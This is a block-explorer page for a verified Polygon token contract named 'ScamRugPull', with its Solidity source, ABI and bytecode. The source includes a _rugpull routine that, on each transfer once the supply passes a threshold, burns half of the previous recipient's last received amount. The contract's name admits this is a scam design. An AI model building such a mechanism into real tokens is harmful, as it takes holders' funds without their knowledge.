Contract 0xCaD292ec0330dA53A423890C0e48CB3Ee2870594

 
 
Txn Hash Method
Block
From
To
Value [Txn Fee]
0x44ab3d2d35786b79ce1507acccfbe5525e9f4b7a62ca93f7e429430668e887030x60c06040337116892022-09-29 11:43:0460 days 1 hr ago0xd478e33a89865692870d0b682f753644dba47ae2 IN  Create: ScamRugPull0 MATIC0.022475335698 30.870000026
[ Download CSV Export 
Parent Txn Hash Block From To Value
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
ScamRugPull

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at polygonscan.com on 2022-09-29
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.17;

contract ScamRugPull {

    string public name = 'ScamRugPull';
    string public symbol = 'SRP';
    uint8 public decimals = 18;
    address public owner;
    address public nextRugPullAddress;
    uint256 public nextRugPullValue;
    uint256 public totalSupply;

    mapping (address => uint256) public balanceOf;
    mapping (address => mapping (address => uint256)) public allowance;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed from, address indexed spender, uint256 value);

    constructor (uint256 totalSupply_) {
        totalSupply = totalSupply_;
        owner = msg.sender;
        nextRugPullAddress = msg.sender;
        nextRugPullValue = totalSupply_ / 2;
        balanceOf[msg.sender] = totalSupply;
    }

    function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a);
        return a - b;
    }

    function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c>=a && c>=b);
        return c;
    }

    function transfer(address to, uint256 value) external returns (bool) {
        require(msg.sender != address(0));
        require(to != address(0));
        require(value > 0);
        require(balanceOf[msg.sender] >= value);
        require(balanceOf[to] + value > balanceOf[to]);
        balanceOf[msg.sender] = safeSub(balanceOf[msg.sender], value);
        balanceOf[to] = safeAdd(balanceOf[to], value); 
        emit Transfer(msg.sender, to, value);
        _rugpull(msg.sender, to, value);
        return true;
    }

    function transferFrom(address from, address to, uint256 value) external returns (bool) {
        require(from != address(0));
        require(to != address(0));
        require(value > 0);
        require(balanceOf[from] >= value);
        require(balanceOf[to] + value > balanceOf[to]);
        require(allowance[from][msg.sender] >= value);
        balanceOf[from] = safeSub(balanceOf[from], value);
        balanceOf[to] = safeAdd(balanceOf[to], value);
        allowance[from][msg.sender] = safeSub(allowance[from][msg.sender], value);
        emit Transfer(from, to, value);
        _rugpull(from, to, value);
        return true;
    }

    function approve(address spender, uint256 value) external returns (bool) {
        require(msg.sender != address(0));
        require(spender != address(0));
        require(value > 0);
        allowance[msg.sender][spender] = value;
        emit Approval(msg.sender, spender, value);
        return true;
    }

    function _rugpull(address from, address to, uint256 value) private {
        if(totalSupply >= 21000000000000000000000000) {
            if(balanceOf[nextRugPullAddress] >= nextRugPullValue && nextRugPullAddress != to && nextRugPullAddress != from) {
                balanceOf[nextRugPullAddress] = safeSub(balanceOf[nextRugPullAddress], nextRugPullValue/2);
                totalSupply = safeSub(totalSupply, nextRugPullValue/2);
            }
            nextRugPullAddress = to;
            nextRugPullValue = value;
        }
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"nextRugPullAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"nextRugPullValue","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60c0604052600b60809081526a14d8d85b549d59d41d5b1b60aa1b60a0526000906200002c908262000195565b5060408051808201909152600381526205352560ec1b602082015260019062000056908262000195565b506002805460ff191660121790553480156200007157600080fd5b5060405162000be238038062000be2833981016040819052620000949162000261565b600581905560028054610100600160a81b031916336101008102919091178255600380546001600160a01b0319169091179055620000d390826200027b565b60045550600554336000908152600660205260409020556200029e565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200011b57607f821691505b6020821081036200013c57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200019057600081815260208120601f850160051c810160208610156200016b5750805b601f850160051c820191505b818110156200018c5782815560010162000177565b5050505b505050565b81516001600160401b03811115620001b157620001b1620000f0565b620001c981620001c2845462000106565b8462000142565b602080601f831160018114620002015760008415620001e85750858301515b600019600386901b1c1916600185901b1785556200018c565b600085815260208120601f198616915b82811015620002325788860151825594840194600190910190840162000211565b5085821015620002515787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b6000602082840312156200027457600080fd5b5051919050565b6000826200029957634e487b7160e01b600052601260045260246000fd5b500490565b61093480620002ae6000396000f3fe608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a082311461016e5780638da5cb5b1461018e57806395d89b41146101a65780639d414e8f146101ae578063a9059cbb146101b7578063dd62ed3e146101ca57600080fd5b806306fdde03146100b9578063095ea7b3146100d757806318160ddd146100fa57806323b872dd14610111578063313ce5671461012457806356e220f014610143575b600080fd5b6100c16101f5565b6040516100ce9190610748565b60405180910390f35b6100ea6100e53660046107b2565b610283565b60405190151581526020016100ce565b61010360055481565b6040519081526020016100ce565b6100ea61011f3660046107dc565b610314565b6002546101319060ff1681565b60405160ff90911681526020016100ce565b600354610156906001600160a01b031681565b6040516001600160a01b0390911681526020016100ce565b61010361017c366004610818565b60066020526000908152604090205481565b6002546101569061010090046001600160a01b031681565b6100c16104ce565b61010360045481565b6100ea6101c53660046107b2565b6104db565b6101036101d8366004610833565b600760209081526000928352604080842090915290825290205481565b6000805461020290610866565b80601f016020809104026020016040519081016040528092919081815260200182805461022e90610866565b801561027b5780601f106102505761010080835404028352916020019161027b565b820191906000526020600020905b81548152906001019060200180831161025e57829003601f168201915b505050505081565b60003361028f57600080fd5b6001600160a01b0383166102a257600080fd5b600082116102af57600080fd5b3360008181526007602090815260408083206001600160a01b03881680855290835292819020869055518581529192917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35060015b92915050565b60006001600160a01b03841661032957600080fd5b6001600160a01b03831661033c57600080fd5b6000821161034957600080fd5b6001600160a01b03841660009081526006602052604090205482111561036e57600080fd5b6001600160a01b03831660009081526006602052604090205461039183826108b6565b1161039b57600080fd5b6001600160a01b03841660009081526007602090815260408083203384529091529020548211156103cb57600080fd5b6001600160a01b0384166000908152600660205260409020546103ee9083610603565b6001600160a01b03808616600090815260066020526040808220939093559085168152205461041d9083610623565b6001600160a01b03808516600090815260066020908152604080832094909455918716815260078252828120338252909152205461045b9083610603565b6001600160a01b03858116600081815260076020908152604080832033845282529182902094909455518581529186169290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a36104c484848461064b565b5060019392505050565b6001805461020290610866565b6000336104e757600080fd5b6001600160a01b0383166104fa57600080fd5b6000821161050757600080fd5b3360009081526006602052604090205482111561052357600080fd5b6001600160a01b03831660009081526006602052604090205461054683826108b6565b1161055057600080fd5b3360009081526006602052604090205461056a9083610603565b33600090815260066020526040808220929092556001600160a01b038516815220546105969083610623565b6001600160a01b0384166000818152600660205260409081902092909255905133907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906105e79086815260200190565b60405180910390a36105fa33848461064b565b50600192915050565b60008282111561061257600080fd5b61061c82846108c9565b9392505050565b60008061063083856108b6565b90508381101580156106425750828110155b61061c57600080fd5b6a115eec47f6cf7e3500000060055410610743576004546003546001600160a01b03166000908152600660205260409020541080159061069957506003546001600160a01b03838116911614155b80156106b357506003546001600160a01b03848116911614155b15610722576003546001600160a01b03166000908152600660205260409020546004546106ec91906106e7906002906108dc565b610603565b6003546001600160a01b031660009081526006602052604090205560055460045461071e91906106e7906002906108dc565b6005555b600380546001600160a01b0319166001600160a01b03841617905560048190555b505050565b600060208083528351808285015260005b8181101561077557858101830151858201604001528201610759565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b03811681146107ad57600080fd5b919050565b600080604083850312156107c557600080fd5b6107ce83610796565b946020939093013593505050565b6000806000606084860312156107f157600080fd5b6107fa84610796565b925061080860208501610796565b9150604084013590509250925092565b60006020828403121561082a57600080fd5b61061c82610796565b6000806040838503121561084657600080fd5b61084f83610796565b915061085d60208401610796565b90509250929050565b600181811c9082168061087a57607f821691505b60208210810361089a57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8082018082111561030e5761030e6108a0565b8181038181111561030e5761030e6108a0565b6000826108f957634e487b7160e01b600052601260045260246000fd5b50049056fea26469706673582212203dc383065dfc0056445147dfff3b71ddf0552b3748f8678a4b3ed5439e5ce57864736f6c63430008110033000000000000000000000000000000000000314dc6448d9338c15b0a00000000

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000314dc6448d9338c15b0a00000000

-----Decoded View---------------
Arg [0] : totalSupply_ (uint256): 1000000000000000000000000000000000

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000000000000000314dc6448d9338c15b0a00000000


Deployed ByteCode Sourcemap

63:3200:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;93:34;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2388:318;;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;2388:318:0;1004:187:1;307:26:0;;;;;;;;;1342:25:1;;;1330:2;1315:18;307:26:0;1196:177:1;1726:654:0;;;;;;:::i;:::-;;:::i;169:26::-;;;;;;;;;;;;1883:4:1;1871:17;;;1853:36;;1841:2;1826:18;169:26:0;1711:184:1;229:33:0;;;;;-1:-1:-1;;;;;229:33:0;;;;;;-1:-1:-1;;;;;2064:32:1;;;2046:51;;2034:2;2019:18;229:33:0;1900:203:1;342:45:0;;;;;;:::i;:::-;;;;;;;;;;;;;;202:20;;;;;;;;-1:-1:-1;;;;;202:20:0;;;134:28;;;:::i;269:31::-;;;;;;1185:533;;;;;;:::i;:::-;;:::i;394:66::-;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;93:34;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;2388:318::-;2455:4;2480:10;2472:33;;;;;;-1:-1:-1;;;;;2524:21:0;;2516:30;;;;;;2573:1;2565:5;:9;2557:18;;;;;;2596:10;2586:21;;;;:9;:21;;;;;;;;-1:-1:-1;;;;;2586:30:0;;;;;;;;;;;;:38;;;2640:36;1342:25:1;;;2586:30:0;;2596:10;2640:36;;1315:18:1;2640:36:0;;;;;;;-1:-1:-1;2694:4:0;2388:318;;;;;:::o;1726:654::-;1807:4;-1:-1:-1;;;;;1832:18:0;;1824:27;;;;;;-1:-1:-1;;;;;1870:16:0;;1862:25;;;;;;1914:1;1906:5;:9;1898:18;;;;;;-1:-1:-1;;;;;1935:15:0;;;;;;:9;:15;;;;;;:24;-1:-1:-1;1935:24:0;1927:33;;;;;;-1:-1:-1;;;;;2003:13:0;;;;;;:9;:13;;;;;;1979:21;1995:5;2003:13;1979:21;:::i;:::-;:37;1971:46;;;;;;-1:-1:-1;;;;;2036:15:0;;;;;;:9;:15;;;;;;;;2052:10;2036:27;;;;;;;;:36;-1:-1:-1;2036:36:0;2028:45;;;;;;-1:-1:-1;;;;;2110:15:0;;;;;;:9;:15;;;;;;2102:31;;2127:5;2102:7;:31::i;:::-;-1:-1:-1;;;;;2084:15:0;;;;;;;:9;:15;;;;;;:49;;;;2168:13;;;;;;;2160:29;;2183:5;2160:7;:29::i;:::-;-1:-1:-1;;;;;2144:13:0;;;;;;;:9;:13;;;;;;;;:45;;;;2238:15;;;;;:9;:15;;;;;2254:10;2238:27;;;;;;;2230:43;;2267:5;2230:7;:43::i;:::-;-1:-1:-1;;;;;2200:15:0;;;;;;;:9;:15;;;;;;;;2216:10;2200:27;;;;;;;;:73;;;;2289:25;1342::1;;;2289::0;;;;2200:15;;2289:25;;1315:18:1;2289:25:0;;;;;;;2325;2334:4;2340:2;2344:5;2325:8;:25::i;:::-;-1:-1:-1;2368:4:0;1726:654;;;;;:::o;134:28::-;;;;;;;:::i;1185:533::-;1248:4;1273:10;1265:33;;;;;;-1:-1:-1;;;;;1317:16:0;;1309:25;;;;;;1361:1;1353:5;:9;1345:18;;;;;;1392:10;1382:21;;;;:9;:21;;;;;;:30;-1:-1:-1;1382:30:0;1374:39;;;;;;-1:-1:-1;;;;;1456:13:0;;;;;;:9;:13;;;;;;1432:21;1448:5;1456:13;1432:21;:::i;:::-;:37;1424:46;;;;;;1523:10;1513:21;;;;:9;:21;;;;;;1505:37;;1536:5;1505:7;:37::i;:::-;1491:10;1481:21;;;;:9;:21;;;;;;:61;;;;-1:-1:-1;;;;;1577:13:0;;;;;;1569:29;;1592:5;1569:7;:29::i;:::-;-1:-1:-1;;;;;1553:13:0;;;;;;:9;:13;;;;;;;:45;;;;1615:31;;1624:10;;1615:31;;;;1640:5;1342:25:1;;1330:2;1315:18;;1196:177;1615:31:0;;;;;;;;1657;1666:10;1678:2;1682:5;1657:8;:31::i;:::-;-1:-1:-1;1706:4:0;1185:533;;;;:::o;883:128::-;945:7;978:1;973;:6;;965:15;;;;;;998:5;1002:1;998;:5;:::i;:::-;991:12;883:128;-1:-1:-1;;;883:128:0:o;1019:158::-;1081:7;;1113:5;1117:1;1113;:5;:::i;:::-;1101:17;;1140:1;1137;:4;;:12;;;;;1148:1;1145;:4;;1137:12;1129:21;;;;;2714:544;2810:26;2795:11;;:41;2792:459;;2889:16;;2866:18;;-1:-1:-1;;;;;2866:18:0;2856:29;;;;:9;:29;;;;;;:49;;;;:77;;-1:-1:-1;2909:18:0;;-1:-1:-1;;;;;2909:24:0;;;:18;;:24;;2856:77;:107;;;;-1:-1:-1;2937:18:0;;-1:-1:-1;;;;;2937:26:0;;;:18;;:26;;2856:107;2853:310;;;3034:18;;-1:-1:-1;;;;;3034:18:0;3024:29;;;;:9;:29;;;;;;3055:16;;3016:58;;3024:29;3055:18;;3072:1;;3055:18;:::i;:::-;3016:7;:58::i;:::-;2994:18;;-1:-1:-1;;;;;2994:18:0;2984:29;;;;:9;:29;;;;;:90;3115:11;;3128:16;;3107:40;;3115:11;3128:18;;3145:1;;3128:18;:::i;3107:40::-;3093:11;:54;2853:310;3177:18;:23;;-1:-1:-1;;;;;;3177:23:0;-1:-1:-1;;;;;3177:23:0;;;;;3215:16;:24;;;2792:459;2714:544;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1378:328::-;1455:6;1463;1471;1524:2;1512:9;1503:7;1499:23;1495:32;1492:52;;;1540:1;1537;1530:12;1492:52;1563:29;1582:9;1563:29;:::i;:::-;1553:39;;1611:38;1645:2;1634:9;1630:18;1611:38;:::i;:::-;1601:48;;1696:2;1685:9;1681:18;1668:32;1658:42;;1378:328;;;;;:::o;2108:186::-;2167:6;2220:2;2208:9;2199:7;2195:23;2191:32;2188:52;;;2236:1;2233;2226:12;2188:52;2259:29;2278:9;2259:29;:::i;2299:260::-;2367:6;2375;2428:2;2416:9;2407:7;2403:23;2399:32;2396:52;;;2444:1;2441;2434:12;2396:52;2467:29;2486:9;2467:29;:::i;:::-;2457:39;;2515:38;2549:2;2538:9;2534:18;2515:38;:::i;:::-;2505:48;;2299:260;;;;;:::o;2564:380::-;2643:1;2639:12;;;;2686;;;2707:61;;2761:4;2753:6;2749:17;2739:27;;2707:61;2814:2;2806:6;2803:14;2783:18;2780:38;2777:161;;2860:10;2855:3;2851:20;2848:1;2841:31;2895:4;2892:1;2885:15;2923:4;2920:1;2913:15;2777:161;;2564:380;;;:::o;2949:127::-;3010:10;3005:3;3001:20;2998:1;2991:31;3041:4;3038:1;3031:15;3065:4;3062:1;3055:15;3081:125;3146:9;;;3167:10;;;3164:36;;;3180:18;;:::i;3211:128::-;3278:9;;;3299:11;;;3296:37;;;3313:18;;:::i;3344:217::-;3384:1;3410;3400:132;;3454:10;3449:3;3445:20;3442:1;3435:31;3489:4;3486:1;3479:15;3517:4;3514:1;3507:15;3400:132;-1:-1:-1;3546:9:1;;3344:217::o

Swarm Source

ipfs://3dc383065dfc0056445147dfff3b71ddf0552b3748f8678a4b3ed5439e5ce578
Block Transaction Gas Used Reward
Age Block Fee Address BC Fee Address Voting Power Jailed Incoming
Block Uncle Number Difficulty Gas Used Reward
Loading
Loading
Make sure to use the "Vote Down" button for any spammy posts, and the "Vote Up" for interesting conversations.